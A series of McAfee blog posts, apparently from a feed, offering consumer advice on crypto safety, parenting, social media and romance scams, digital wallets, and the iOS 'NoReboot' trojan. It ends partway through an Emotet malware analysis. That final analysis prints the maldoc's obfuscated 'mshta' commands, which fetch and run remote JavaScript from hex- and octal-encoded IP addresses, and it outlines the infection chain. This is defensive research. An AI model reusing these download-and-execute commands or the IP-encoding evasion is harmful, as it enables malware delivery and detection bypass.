As cryptocurrencies continue to take the world by storm, it’s key that users learn how to engage with this emerging industry safely. Even though the Wormhole breach affected the crypto platforms and not individual users, this incident is a reminder to be diligent about your crypto safety. Check out these tips to help you protect your crypto investments: 

1. Do your research.

Like with any process that involves investing your own, hard-earned money, you should be diligent about researching every cryptocurrency, blockchain, and accompanying software you use. Never trust your money to a product or service that you’re not completely confident in their security protocols. Keep up with national and world news and crypto-specific news outlets to stay on top of the latest security breaches and to gather tips on which system may be the safest option for you. When jumping into cryptocurrency, make sure that any benefits outweigh the risks. 

2. Secure your accounts.

As with all your online accounts, protect your cryptocurrency logins with secure, unique passwords and two-factor authentication. Never reuse passwords, since it’s possible for wily cybercriminals to buy lists of login and password combinations on the dark web. Two-factor authentication often makes it impossible for anyone to break into your account, as it requires a randomly generated passcode for entry. Passcodes are often sent by text or through a smartphone application. Sometimes it’s difficult to remember all your passwords, so consider trusting them to a password manager, such as McAfee True Key. An online account locked behind a secure password and two-factor authentication will likely frustrate a cybercriminal and cause them to move along, keeping your account safe. 

3. Use a hardware wallet.

Add an extra layer of protection to your crypto assets with a hardware wallet. A hardware wallet stores private keys that are necessary to unlock your blockchain accounts. This device is compatible with various blockchains and helps back up and protect your investments, even if your device is compromised by malware or a phishing attack. Hardware wallets are often protected by PINs and a passphrase, so even if the device is lost or stolen, you can feel confident in the safety of your crypto accounts. 

4. Check your accounts regularly.

Make it part of your weekly routine to check in on your crypto account to ensure that there are no suspicious transactions. Keep the pulse on the news, so that whenever there’s a breach, you can make a timely report of any losses you may have experienced. Also, consider changing your login credentials to be on the safe side. 

Boost Your Crypto Confidence 

The only way to enjoy your cryptocurrency experience is to be confident in it. While the Wormhole loophole was almost impossible for a casual everyday user to predict, as long as you have a contingency plan and safeguards in place, you can be confident in your crypto activities. 

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Why Staying Calm May Be One Of The Best Ways Of Keeping Your Kids Safe Online

By Alex Merton-McCann

There are very few guarantees in this world – but experiencing drama when you are a parent is a sure thing! And as a mum of 4, I’ve had my fair share. Whether it’s friendship issues, homework problems or just picking up the pieces after some bad choices – I feel like my job as a mother is most tested when I’m helping my boys navigate the tough stuff.  

But after clocking up 25 years of parenting, I’ve learned one thing – when you’re in the thick of issues with your kids, being calm (even on the outside) is the best way of getting to the bottom of an issue, and helping them solve it. 

Kids Don’t Differentiate Between Their Online and Offline Life 

Even though we may compartmentalize our lives into offline and online, our kids don’t. For them, it’s the same thing! They use their online life to set up their online activities. In fact, their online life is a critical element of their day-to-day lives. So, if a problem arises online – an embarrassing photo is shared or they make a wrong move – it can feel like their whole world is affected.  

‘That is – I’m Taking The Devices Away’ 

I don’t know how many times I’ve wanted to scream this from my lungs when my boys have found themselves in tricky online situations over the years. And I am sure I am not alone. When our kids come to us with an online issue, all we want to do is throw the router in the bin or cancel their phone plan. But, that, my friends, is the worst think you can do. If your kids think there is even a small chance you’ll remove their technology, then I promise you that they will never come to you with an online issue. They would much rather try and work it out themselves than threaten disconnection because their online world is their entire world. 

My Top Tips On Navigating Online Issues With Your Kids 

1. Remain Calm 

Without a doubt, THE most important thing you can do for your kids is to guarantee that you will NOT scream, shout or disconnect them from their devices if they come to you with a problem. Even though you know it will be tough, promising them that you will remain calm will mean they are far more likely to seek your advice when things are tough. Of course, I am not suggesting that you don’t deal out punishments or introduce new rules as a result of the issue but remaining approachable is key. 

2. Be Empathetic 

Being a teenager in this digital era is completely different from the 70’s, 80’s and 90’s. So, while some of the issues your kids may experience may mirror yours, many will not. Thankfully, we didn’t have the constant pressure that social media can be when we were growing up. Some kids can rationalize the way social media works and not lose any sleep over it whereas others will find it much trickier to navigate.  

So, take a minute to really understand their social media-dominated world. Many kids, understandably, struggle when comparing themselves to someone’s perfectly curated Instagram feed; feel lonely or ‘less than’ when discovering that their friends are all out (thanks to a shared pic online) but they weren’t invited; or, consumed by the number of likes their posts achieve. As the great Atticus Finch in ‘To Kill A Mockingbird’ said ‘You never really understand a person until you consider things from his point of view … until you climb into his skin and walk around in it.” So, try as hard as you can to understand how these pressures can affect their mindset.  

3. Make A Plan 

When things are tricky and overwhelming, making a plan can help direct the angst and reduce the worry. Depending on the issue your child is having online, you may want to introduce some new rules around the time and place they can use their device. For example, if devices were not yet banned from the bedroom – this could be a good place to start. You could also insist devices are placed in a ‘charging zone’ on the kitchen bench overnight so their bedroom becomes a tech-free zone. 

Additionally, if you are worried your child is experiencing concerning levels of anxiety or low mood as a result of the situation, you might want to include making an appointment with the counselor at school or an independent psychologist. Also, notifying the school may also be a helpful action point for the plan too – depending again on the nature of the issue. 

If I’m being honest, being calm and chilled is probably not my natural state. I could blame it on genetics or maybe the amount of caffeine I consume but when it comes to my helping my boy with the tricky stuff, I dig deep. I channel my inner yogi and muster up all the patience and chilled vibes I can because it’s so worth it. Knowing my boys understand they can come to me about any problem – online or offline – means they know someone always has their back. And isn’t that our job as parents?  

Till next time 

Alex xx 

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The Gold Rush of Fraud: Why Scammers Have Flocked to Social Media

By McAfee

There’s millions of dollars to be made in social media. For scammers. 

New data from the U.S. Federal Trade Commission (FTC) suggests that Americans lost nearly three-quarters of a billion dollars to social media fraud in 2021, signaling that social media may be the most profitable method of scamming victims—marking an 18-fold increase over 2017 

And that’s just cases of reported fraud.  

Of the roughly 95,000 cases tallied in 2021, the actual number of reports and losses are arguably much higher because fraud victims infrequently report these crimes to the FTC or other agencies. Likewise, few take advantage of the FTC’s resources for recovering from fraud. Instead, they’ll share the sad news with family or friends if anyone at all 

Despite the rise of these online crimes, there are several things you can do to increase your awareness of social media fraud—what it looks like and how it’s pulled off—along with other ways you can prevent scammers from targeting you and the ones you care about. 

What does social media fraud look like? 

Several types of social media fraud abound, yet the FTC reports that three types of scams prevail: 

Investment scams

These often involve bogus sites that promote opportunities to mine or invest in cryptocurrencies. Rather than use these sites to trade in legitimate cryptocurrencies, scammers use these as a front to collect funds. The funds are never invested and never returned. Thanks to social media, scammers have a quick and easy way to drive victims to such bogus sites. 

Romance scams 

By starting up a chat through an unexpected friend request or a message that comes out of the blue, a scammer develops a budding romantic relationship with a victim—and eventually starts asking for money. Public social media profiles are particularly attractive to scammers because they’re loaded with information that scammers can use to win a victim’s confidence or heart. 

Online shopping scams

Using ads on social media, scammers drive victims to phony online stores that will take people’s money but that don’t deliver the goods. They’re simply a way for scammers to harvest cash from unsuspecting shoppers. These sites may impersonate reputable brands and stores or they may sell bogus products altogether. Either way, victims pay and receive nothing in return. 

Together, these three types of scams accounted for the overwhelming majority of losses and reports of social media fraud, which are broken down in detail as follows: 

As illustrated, investment and romance scams may get reported less frequently, yet they are among the costliest scams going on social media. Meanwhile, online shopping scams on social media are far more common yet rake in fewer dollars overall.  

What makes social media such a happy hunting ground for scammers? 

For one, reach. Nearly half of the global population uses social media today. That translates into billions of people who can be made into potential victims. Secondly, social media provides the tools to reach those people through the otherwise legitimate services and features available to the people and businesses that use social media to connect.  

In the case of investment and shopping scammers, the ad platforms are of particular use. For romance scammers, direct messaging and profile pages are potential avenues for fraud. 

Targeted ad platforms can be used to target victims 

Scammers use the highly targeted ad platform that social media companies use to generate revenue. With millions of detailed user profiles in their data stores, social media companies put that data to work in their ad platforms allow businesses to create ads designed to reach specific age groups, hobbies and interests, past purchases, and so on. Just as easily, a scammer can use the same tools to cook up bogus ads for their bogus products, services, and sites at a relatively low cost. 

For example, a scammer could target older females with an interest in investing. From there, the scammer could narrow down that target profile to those who live in areas of the country with a desired average income level, and who have shown interest in investment products before. The scammers would create an ad that takes them to phony website designed to entice that target group into purchasing a bogus product, service, or crypto. The FTC reports that the median loss for an online shopping scam in 2021 was $118, while online investment scams on social media racked up a median loss of $1,800 per victim. These stats make a strong case for sticking to reputable and established retailers and accredited financial services. 

People love to share, and scammers love to turn that against their victims  

In the case of romance scammers on social media, the posts and personal profiles that form the heart of social media offer con artists a treasure trove. With a potential victim’s life a relatively open book, full of birthdays, events, interests, and activities for all to see, scammers have the hooks they need to form a phony romantic relationship online—or at least make the attempt at one. 

For example, a scammer reaches out to a potential victim with a friend request. With the profile and posts this romance scammer has at hand, they can spin all manner of intriguing, yet utterly false tales designed to gain the victim’s trust. With that trust established, they can follow up with a similarly intriguing story about needing “a little help” to cover some “unexpected expenses,” often in the form of a gift card or reloadable debit card—sometimes stringing out a series of requests over time. According to the FTC, the median loss for this type of romance scam in 2021 was around $2,000 per victim. 

Six steps for preventing social media scams 

People worldwide spend an average of 145 minutes a day on social media. And with users in the U.S. spending just over two hours on social media a day, that’s a great deal of potential exposure to scams.  

Yet, whether you’re using Facebook, Instagram, TikTok, or whatnot, here are several things you can do that can help keep you safe and secure out there: 

1. Set strong, unique passwords

Passwords mark square one in your protection, with strong and unique passwords across all your accounts forming primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one. 

2. Go private

Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy and give a possible scammer much less material to work with. 

3. Say “no” to strangers bearing friend requests

Be critical of the invitations you receive. Out-and-out strangers could be more than just a stranger, they could be a fake account designed to gather information on users for purposes of fraud. There are plenty of fake accounts too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests. 

4. Watch out for phishing scams

We’re increasingly accustomed to the warnings about phishing emails, yet phishing attacks happen plenty on social media. The same rules apply. Don’t follow any links you get from strangers by way of instant or direct messages. And keep your personal information close. Don’t pass out your email, address, or other info as well. Even those so-called “quiz” posts and websites can be ruses designed to steal bits and pieces of personal info that can be used as the basis of an attack. 

5. Do a background check—on businesses and people

When you’re purchasing online, do some quick research on the company. How long have they been around? Have any complaints been recorded by your attorney general or local consumer protection agency? When you meet someone new, do a reverse image search on their profile pic to see where else it appears. Look up their name in search as well. If the results you find don’t match up with the person’s story, it may be a sign of a scam.

6. Protect yourself and your devices

Online protection software can protect you from clicking on malicious links while on social media while steering you clear of other threats like viruses, ransomware, and phishing attacks. It can look out for you as well, by protecting your privacy and monitoring your email, SSN, bank accounts, credit cards, and other personal information. With identity theft a rather commonplace occurrence today, security software is really a must. Additionally, our online protection software can also provide you with an online Protection Score that shows you just how safe you are.  From there, it calls out any weak spots and then walks you through the steps to shore it up with personalized guidance. 

Protect yourself and others from social media scams 

It’s unfortunate seeing a resource we’ve come to know and love over the past years get taken advantage of this way. Yet taking the steps outlined above can go a long way to prevent it from happening to you or someone you love. 

One important note is to strongly consider filing a report if you believe you’ve been a victim of a social media scam. While some of the scammers behind these crimes are small-time operators, there are larger, almost business-like operations that conduct these crimes on a broader and sometimes international scale. So whether filing a report will help you recover some or all your losses, it can provide information to businesses and agencies that can help keep it from happening to others.  

For more on online theft and fraud, and how you can spot and report it, check out our article on the topic. Doing so may help you, and someone else as well.   

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Phony Valentines: Online Dating Scams and How to Spot Them

By McAfee

For years now, the popularity of online dating has been on the rise—and so have the number of online romance scams that leave people with broken hearts and empty wallets. 

According to the U.S. Federal Trade Commission (FTC), the reported costs of online romance scams jumped 50% from 2019 to 2020, to the tune of $304 million. And that’s not entirely because 2020 was a pandemic year. From 2016 to 2020, the volume of reported cases tripled, while reported losses nearly quadrupled. Over that period, online romance scams are not only becoming more common, but they’re also becoming more costly.

 

How do online dating and romance scams get started? 

Dating and romance scams aren’t limited to online dating apps and sites, they’ll happen on social media and in online games as well. However, the FTC reports that the scam usually starts the same way, typically through an unexpected friend request or a message that comes out of the blue.  

With that initial introduction made, a chat begins, and a friendship (or more) blossoms from there. Along the way, the scammer will often rely on a mix of somewhat exotic yet believable storytelling to lure the victim in, often involving their job and where they’re working. Reports say that scammers will talk of being workers on an offshore oil rig, members of the military stationed overseas, doctors working with an international organization, or working in the sort of jobs that would prevent them from otherwise easily meeting up in person. 

With the phony relationship established, the scammer starts asking for money. The FTC reports that they’ll ask for money for several bogus reasons, usually revolving around some sort of hardship where they need a “little help” so that they can pay: 

  • For a plane ticket or other travel expenses. 
  • For medical expenses. 
  • Customs fees to retrieve something. 
  • Gambling debts. 
  • A visa or other official travel documents. 

The list goes on, yet that’s the general gist. Scammers often employ a story with an intriguing complication that seems just reasonable enough, one where the romance scammer makes it sound like they could really use the victim’s financial help. 

Common types of online dating scams 

People who have filed fraud reports say they’ve paid their scammer in a few typical ways.  

One is by wiring money, often through a wire transfer company. The benefit of this route, for the scammer anyway, is that this is as good as forking over cash. Once it’s gone, it’s gone. The victim lacks the protections they have with other payment forms, such as a credit card that allows the holder to cancel or contest a charge. 

Another way is through gift cards. Scammers of all stripes, not just romance scammers, like these because they effectively work like cash, whether it’s a gift card for a major online retailer or a chain of brick-and-mortar stores. Like a wire transfer, once that gift card is handed over, the money on it is highly difficult to recover, if at all. 

One more common payment is through reloadable debit cards. A scammer may make an initial request for such a card and then make several follow-on requests to load it up again.  

In all, a romance scammer will typically look for the easiest payment method that’s the most difficult to contest or reimburse, leaving the victim in a financial lurch once the scam ends. 

How Do You Avoid Getting Tangled Up in an Online Dating or Romance Scam? 

When it comes to meeting new people online, the FTC suggests the following: 

  • Never send money or gifts to someone you haven’t met in person—even if they send you money first. 
  • Talk to someone you trust about this new love interest. It can be easy to miss things that don’t add up. So pay attention if your friends or family are concerned. 
  • Take the relationship slowly. Ask questions and look for inconsistent answers. 
  • Try a reverse-image search of any profile pictures the person uses. If they’re associated with another name or with details that don’t match up, it’s a scam. 

Scammers, although arguably heartless, are still human. They make mistakes. The stories they concoct are just that. Stories. They may jumble their details, get their times and dates all wrong, or simply get caught in an apparent lie. Also, keep in mind that some scammers may be working with several victims at once, which is yet another opportunity for them to get confused and slip up. 

Protecting Yourself Further From Scams on Your Social Media Accounts 

As mentioned above, some romance scammers troll social media and reach out through a direct message or friend request. With that, there are three things you can do to cut down your chances of getting caught up with a scammer: 

1. Go private

Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy and give a romance scammer less information to exploit. 

2. Say “no” to strangers bearing friend requests

Be critical of the invitations you receive. Out-and-out strangers could be more than a romance scammer, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests. 

3. Protect yourself and your devices

Security software can protect you from clicking on malicious links that a scammer may send you online, while also steering you clear of other threats like viruses, ransomware, and phishing attacks in general. It can look out for your personal information as well, by protecting your privacy and monitoring your email, SSN, bank accounts, credit cards, and other info that a scammer or identity thief may put to use. With identity theft a rather commonplace occurrence today, security software is really a must. 

Put an End to it 

If you suspect that you’re being scammed, put an end to the relationship and report it, as difficult as that may feel. 

Notify the FTC at ReportFraud.ftc.gov for support and next steps to help you recover financially as much as possible. Likewise, notify the social media site, app, or service where the scam occurred as well. In some cases, you may want to file a police report, which we cover in our broader article on identity theft and fraud 

If you sent funds via a gift card, the FTC suggests filing a claim with the company as soon as possible. They offer further advice on filing a claim here, along with a list of contact numbers for gift card brands that scammers commonly use.  

Lastly, go easy on yourself. If you find yourself a victim of online dating or romance fraud, know that you won’t be the first or last person to be taken advantage of this way. By reporting your case, you in fact may help others from falling victim too. 

The post Phony Valentines: Online Dating Scams and How to Spot Them appeared first on McAfee Blog.

How to Secure Your Digital Wallet

By Vishnu Varadaraj

The convenience of tapping your phone at the cash register instead of fumbling for loose change in your physical wallet is undeniable. Nearly 40% of Canadians used their mobile wallets more often in 2020 because of the perceived safety of contactless payment, according to one report.1 While digital wallets and tap to pay is becoming more widespread, you may wonder: what exactly is a digital wallet? Are they safe? 

A digital wallet, also known as a mobile wallet, is a smartphone app that stores your payment information and enables tap to pay at most point-of-sale terminals. A digital wallet is perfectly safe, as long as you guard your smartphone just as closely as you would your physical wallet. 

Here’s why you should secure your digital wallet and three tips to help you do so. 

Why You Should Secure Your Digital Wallet 

Think about what you store in your physical wallet: credit cards, debit cards, driver’s license, library cards, gift cards, cash. Now, imagine (or if you’ve been unlucky enough to lose your wallet in the past, think back to) the hassle that would ensue if someone stole your wallet or you misplaced it. Not only do you have to cancel your cards, notify your various banks, and wait for replacements, but the niggling worry that a stranger has access to your personally identifiable information (PII) will likely keep you up at night. 

Just like you store your wallet in your front pocket when about town and check your seat before leaving a taxi or a plane, look after your smartphone just as closely. Unlike a physical wallet, whose absence is noticed quickly, a digital wallet may be compromised by a cyber pickpocket without you knowing for a while. For example, the BBC reported that researchers found a potential shortcoming in Apple Pay’s Express Transit mode where cyber pickpockets could remotely access mobile wallets.2 Luckily, the researchers’ experiment is unlikely to occur in the real world, but it’s a reminder to everyone to check their monthly bank statements for suspicious transactions. Cybercriminals get smarter and bolder by the day, so it’s not unlikely that they’ll find and exploit a digital wallet shortcoming in the future. 

Follow these tips to help you use your digital wallet more confidently.  

Tips to Protect Your Digital Wallet

1. Set a unique passcode

Always protect your digital wallet with a passcode! This is the best and easiest way to deter cybercriminals. It’s best if this combination of numbers is different than the passcode to your phone. Also, make sure the numbers are random. Birthdays, anniversaries, house addresses, and the last digits of your phone number are all popular combinations and are crackable codes to a resourceful criminal.  

Better yet, if your mobile wallet app allows you to protect your account with facial recognition or a fingerprint scan, set it up! If your digital wallet proves difficult or impossible to enter, a cybercriminal may leave it for an easier target, keeping your PII safe. 

2. Update software regularly

Another way to secure your digital wallet is to make sure you always download the latest software updates. Developers are constantly finding and patching security holes, so the most up-to-date software is often the most secure. Turn on automatic updates to ensure you never miss a new release. 

3. Download digital wallet apps directly from official websites 

Before you swap your plastic cards for digital payment methods, make sure you research the digital banking app before downloading. Make sure that any app you download is through the official Apple or Android store or the financial institution’s official website. Then, check out how many downloads and reviews the app has to make sure you’re downloading an official app and not an imposter. While most of the apps on official stores are legitimate, it’s always best practice to check for typos, blurry logos, and unprofessional app descriptions to make sure. 

Be More Confident Online 

The digital era is an exciting time to make the most of the conveniences technology affords; however, constant vigilance is key to keeping your finances and PII private. Whether you’re looking for additional peace of mind or have lost your wallet, consider signing up for an identity monitoring service like McAfee identity protection. McAfee will monitor your email addresses and bank accounts and alert you to suspicious activities up to 10 months sooner than similar services. Are you curious about how secure your current online habits are? Check your Security Protection Score today and see what steps you can take to live more confidently online. 

1Canadian Payment Methods and Trends Report 2021 

2BBC News 

The post How to Secure Your Digital Wallet appeared first on McAfee Blog.

How We Can All Work Together For a Better Internet

By McAfee

Let’s face it – we would not be the same people we are today if it wasn’t for the internet. The internet has opened our eyes to so much information that we are privileged to have right at our fingertips. However, it’s important to remember that with so many individuals with access to the web, it can quickly become a place where rumors are spread, cyberattacks are cast, and misinformation arises. At McAfee, we are committed to protecting both you and your family.  Together, through education and online protection, we can work together to experience a better internet for everyone. On this Safer Internet Day, here are our top 5 recommendations: 

For Parents 

With a connected family, it’s important to pay attention to what your family members are connected to (IoT devices in the home, smartphones, tablets, etc.) and how they interact online. Maybe your son is an avid gamer, or your teenager is a social media mogul who enjoys tweeting and scrolling through TikTok. As a parent, you play a crucial role in setting an example for your children and loved ones. So, it’s important to teach them how to use the internet responsibly. Here are some tips for helping your family stay safe online:  

  • Set up parental controls, if necessary. While your child’s device plays a key role in connecting them to the outside world, that same device can also expose them to cyberbullying, predators, risky behavior, and self-image struggles. If your child has started to ignore their homework and other family responsibilities, they are oversharing online, or they won’t give you their device without a fight, it may be time to consider setting up parental controls.  
  • Make sure your child has a healthy relationship with social media. Any activity in excess can cause harm – social media included. If your child’s screen time is climbing due to excessive social media scrolling, help them to establish new habits like setting a device curfew and educating them on the effects of too much screen time.  
  • Teach your family about best practices for securing their online accounts. Using strong passwords and multi-factor authentication can make your family’s internet experience better, providing protection against common online threats.  

For College Students 

In a time when students are reliant on connectivity to be successful in their education, it’s important that they connect to the internet safely. Ensuring a safe connection can prevent any security hiccups from standing in the way of you and your degree. If you are a college student, follow these tips to help you stay safe in a hybrid or distance learning environment:  

  • Use a VPN when connecting to your university’s Wi-Fi network. Avoid hackers infiltrating your connection by using a VPN, which allows you to send and receive data while encrypting, or scrambling, your information so others can’t read it. VPNs also prevent hackers from gaining access to other devices connected to your Wi-Fi.   
  • Choose an encrypted online conferencing tool. Does the video conferencing tool you’re considering use end-to-end encryption? This ensures that only meeting participants can decrypt secure meeting content. Additionally, be sure to read the privacy policies listed by the video conferencing programs to find the one that is the most secure and fits your needs.    

For Working Professionals 

Regardless of your industry, you are likely to rely on the internet to do your job. Restaurant workers use online POS systems, bank tellers require access to their customers’ online accounts – the list goes on. With so much of your day spent online, it’s important to keep internet safety best practices top of mind so you can continue to work free from potential cyber interruptions. No matter what career path you are on, following these tips can help you stay safe online and continue to do your job with confidence:  

  • Be on the lookout for phishing scams targeting employees and their companies. Hackers will oftentimes target employees with phishing campaigns to access sensitive corporate data. If you receive an email, text, or phone call prompting you to take immediate action and log in to an account, make a payment, confirm personal information, or click on a suspicious link, it’s likely a phishing scam. Send a screenshot of the suspicious message (never forward!) to your company’s IT team to confirm, and then delete the message.  
  • Separate personal and business devices. Set boundaries between your personal and work life, including the technology you use for both. Avoid sharing your company’s devices with family members who are not aware of the best security practices, especially children. Also, keep personal accounts separate from company accounts to prevent sharing information through personal channels. 
  • Adhere to company policies and standards. Ensure you understand your company’s policies and confidentiality agreements when it comes to sharing files, storing documents, and other online communications. Use company-approved cloud applications that follow strict security standards to avoid inadvertently exposing sensitive company information through unsecured means. This measure can also apply when using video conferencing software. Limit the amount of sensitive information shared via video conferencing platforms and through messaging features just in case uninvited hackers are eavesdropping. 

For Entertainment Seekers  

If you can dream it, you can stream it. With so much media at your fingertips, it’s important to remember that cybercriminals tend to focus their threats on trending consumer behaviors. For example, cybercriminals will tend to focus their scams on popular TV shows or movies in the hopes that an unsuspecting user will click on their malicious download. Because streaming has become so popular in recent years, consumers should prioritize the safety of their online streaming platforms like Spotify, Netflix, Hulu, etc. Here are some ways to stay protected while streaming:  

  • Watch what you click. Be cautious and only access entertainment content directly from a reliable source. The safest thing to do is to subscribe to a streaming site that offers the content or download the movie from credible websites, instead of downloading a “free” version from a website that could contain malware. 
  • Refrain from using illegal streaming sites. Many illegal streaming sites are riddled with malware or adware disguised as pirated video files. Do your device a favor and stream the show from a reputable source. 

For Mobile Moguls  

As technology has become more advanced, we’ve become accustomed to the many benefits that come with taking our devices with us everywhere we go. For example, we can deposit checks from home with our mobile banking apps and can use vehicle location services on our phones to remind us where we parked. Here’s how you can stay protected while on-the-go:  

  • Use a mobile security solution. Protect your pocket-sized digital life with a reliable solution like McAfee Mobile Security. It actively shields you from malicious links or websites, unauthorized third-party activities, and even phishing scams. Additionally, it allows you to connect safely with a VPN and regularly scans your device for unwanted threats.  

“There’s no doubt the internet has brought so many benefits to our daily life,” says Alex Merton-McCann, McAfee’s Cyber Safety Ambassador. “I honestly can’t imagine life without it! But in order for us all to continue benefiting from its many pluses, we all have a responsibility to make it a safe and enjoyable place. So, let’s #playitfaironline and commit to being respectful and kind towards each other online to ensure life online is safe and enjoyable for us all!” 

Check out #SaferInternetDay and #SID2022 hashtags on social media to be a part of the conversation. 

The post How We Can All Work Together For a Better Internet appeared first on McAfee Blog.

How iOS Malware May Snoop on Our Devices

By Vishnu Varadaraj

Smartphones have become such an integral part of our lives that it’s hard to imagine a time when we didn’t have them. We carry so much of our lives on our devices, from our social media accounts and photos of our pets to our banking information and home addresses. Whether it be just for fun or for occupational purposes, so much of our time and attention is spent on our smartphones. 

Because our mobile devices carry so much valuable information, it’s important that we stay educated on the latest cyber schemes so we can be prepared to combat them and keep our data safe.  According to Bleeping Computer, researchers have developed a trojan proof of concept tool that fakes a shutdown or reboot of iPhones, preventing malware from being removed and allowing hackers to secretly snoop on microphones and cameras.  

Let’s dive into the details of this technique.  

How “NoReboot” allows hackers to spy on a device 

Typically, when an iOS device is infected with malware, the solution is as simple as just restarting the device. However, with this new technique researchers are calling “NoReboot,” ridding a device of malware is not quite as simple. 

“NoReboot” blocks the shutdown and reboot process from being carried out, preventing the device from actually restarting. Without a proper shutdown and reboot, a malware infection on an iOS device can continue to exist. Because the device appears to be shut off with a dark screen, muted notifications, and a lack of response, it is easy to assume that the device has shut down properly and the problem has been solved. However, the “NoReboot” technique has only simulated a reboot, allowing a hacker to access the device and its functions, such as its camera and microphone. If a hacker has access to these functions, they could record the user without their knowledge and potentially capture private information.  

This attack is not one that Apple can fix, as it relies on human-level deception rather than exploiting flaws found on iOS. That’s why it’s important that we know how to use our devices safely and stay protected. 

How to know if your smartphone has been hacked 

As previously mentioned, smartphone usage takes up a big chunk of our time and attention. Since we are so often on these devices, it is usually fairly easy to tell when something isn’t working quite like it is supposed to. While these things could very well just be technical issues, sometimes they are much more than that, such as malware being downloaded onto your smartphone. 

Malware can eat up the system resources or conflict with other apps on your device, causing it to act oddly. 

Some possible signs that your device has been hacked include: 

Performance issues 

A slower device, webpages taking way too long to load, or a battery that never keeps a charge are all things that can be attributed to a device reaching its retirement. However, these things may also be signs that malware has compromised your phone. 

Your phone feels like it’s running hot 

Malware running in the background of a device may burn extra computing power, causing your phone to feel hot and overheated. If your device is quick to heat up, it may be due to malicious activity. 

Mysterious calls, texts, or apps appear 

If apps you haven’t downloaded suddenly appear on your screen, or if outgoing calls you don’t remember making pop up on your phone bill, that is a definite red flag and a potential sign that your device has been hacked. 

Pop-ups or changes to your screen 

Malware may also be the cause of odd or frequent pop-ups, as well as changes made to your home screen. If you are getting an influx of spammy ads or your app organization is suddenly out of order, there is a big possibility that your device has been hacked. 

Six tips to prevent your phone from being hacked 

To avoid the hassle of having a hacked phone in the first place, here are some tips that may help. 

1. Update your phone and its apps

Promptly updating your phone and apps is a primary way to keep your device safe. Updates often fix bugs and vulnerabilities that hackers rely on to download malware for their attacks. 

2. Avoid downloading from third-party app stores

Apple’s App Store and Google Play have protections in place to help ensure that apps being downloaded are safe. Third-party sites may not have those same protections or may even be purposely hosting malicious apps to scam users. Avoiding these sites altogether can prevent these apps from allowing hackers into your device. 

3. Stay safer on the go with a VPN

Hackers may use public Wi-Fi to gain access to your device and the information you have inside of it. Using a VPN to ensure that your network is private and only you can access it is a great way to stay protected on the go. 

4. Turn off your Wi-Fi and Bluetooth when not in use

Turning off your Wi-Fi and Bluetooth when you are not actively using them is a simple way to prevent skilled hackers from working their way into your devices. 

5. Avoid public charging stations

Some hackers have been known to install malware into public charging stations and hack into devices while they are being charged. Investing in your own personal portable charging packs is an easy way to avoid this type of hack.  

6. Encrypt your phone

Encrypting your phone can protect your calls, messages, and information, while also protecting you from being hacked. iPhone users can check their encryption status by going into Touch ID & Passcode, scrolling to the bottom, and seeing if data protection is enabled.  

7. Determine whether your device rebooted properly

Although researchers agree that you can never trust a device to be fully off, there are some techniques that can help you determine whether your device was rebooted correctly.2 If you do suspect that your phone was hacked or notice some suspicious activity, restart your device. To do this, press and hold the power button and either volume button until you are prompted to slide the button on the screen to power off. After the device shuts down and restarts, notice if you are prompted to enter your passcode to unlock the device. If not, this is an indicator that a fake reboot just occurred. If this happens, you can wait for the device to run out of battery, although researchers have not verified that this will completely remove the threat.  

Stay protected 

If you are worried that your device has been hacked, follow these steps: 

  • Install and run security software on your smartphone if you haven’t already. From there, delete any apps you didn’t download, delete risky texts, and then run your mobile security software again. 
  • If you still have issues, wiping and restoring your phone is an option. Provided you have your photos, contacts, and other vital info backed up in the cloud, it’s a relatively straightforward process. A quick search online can show how to wipe and restore your model of phone. 
  • Lastly, check your accounts and your credit to see if any unauthorized purchases have been made. If so, you can go through the process of freezing those accounts, getting new cards, and credentials issued with the help of McAfee Identity Protection Service. Further, update your passwords for your accounts with a password that is strong and unique

The post How iOS Malware May Snoop on Our Devices appeared first on McAfee Blog.

Emotet’s Uncommon Approach of Masking IP Addresses

By McAfee Labs

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee
Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee

Threat Summary

  1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
  2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
  3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
  4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Figure 3- Named Manager and Auto_Open triggers
Figure 3- Named Manager and Auto_Open triggers

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

FORMAT OBFUSCATED CMD DEOBFUSCATED CMD
Hexadecimal cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html http://185[.]7[.]214[.]7/fer/fer.html
Octal cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html http://46[.]105[.]81[.]76/c.html

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

Figure 4: Process tree of excel execution
Figure 4: Process tree of excel execution

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

Figure 5- Image of HTML page viewed on browser
Figure 5- Image of HTML page viewed on a browser

